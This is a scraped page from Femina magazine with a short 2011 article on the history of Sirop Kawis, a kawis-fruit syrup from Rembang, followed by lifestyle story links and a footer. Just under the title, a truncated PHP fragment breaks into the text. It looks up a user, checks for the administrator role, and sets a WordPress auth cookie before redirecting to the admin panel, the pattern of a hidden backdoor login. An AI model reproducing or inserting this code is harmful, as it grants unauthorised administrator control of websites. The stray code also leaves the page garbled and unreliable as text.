Legenda Manis Sirop Kawis

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Food Trend

4 Aug 2011

Terbuat dari buah kawis, yaitu buah sebesar bola tenis yang hanya tumbuh di daerah Rembang, Tuban, atau Blora. Jika sudah tua, buahnya akan berwarna cokelat kehitaman dan berkulit keras. Rasanya sedikit mirip cita rasa sarsaparilla, hanya lebih sepat dan getir. Jika ingin diencerkan, sirop harus dikocok dulu untuk menghilangkan aroma seperti gas yang ada di dalam botol.

Sekitar tahun 1952, M.E. Heriyati yang mewarisi perusahaan limun Djago dari ayahnya, Njo Tiam Kiem, mencicipi buah kawis yang ada di sekitar rumahnya di Jl. Diponegoro, Rembang. Kemudian ia terinspirasi untuk meracik buah kawis yang bercita rasa sepat, manis, dan berbau agak menyengat ini, menjadi sirop yang bisa disimpan dalam jangka waktu lama. Setelah melakukan beberapa kali percobaan, Sirop Kawis Cap Dewa Burung pun melegenda dan menjadi kebanggaan kota Rembang.

Heni Pridia
Foto: Suryo Tanggono

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

Produk Hairstyling Terbaru Ini Membantu Menjaga Kelembapan Alami Rambut

Segera hadir di Pekan Raya Jakarta 2026, tiga produk terbaru Panasonic Beauty yang lebih dari sekadar alat menata rambut.

Kagetkan Fans, Sooyoung dan Jung Kyung-ho Putus Setelah 14 Tahun Bersama

Di saat fans mengira mereka sedang mempersiapkan pernikahan, kabar ini jatuh seperti bom.

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id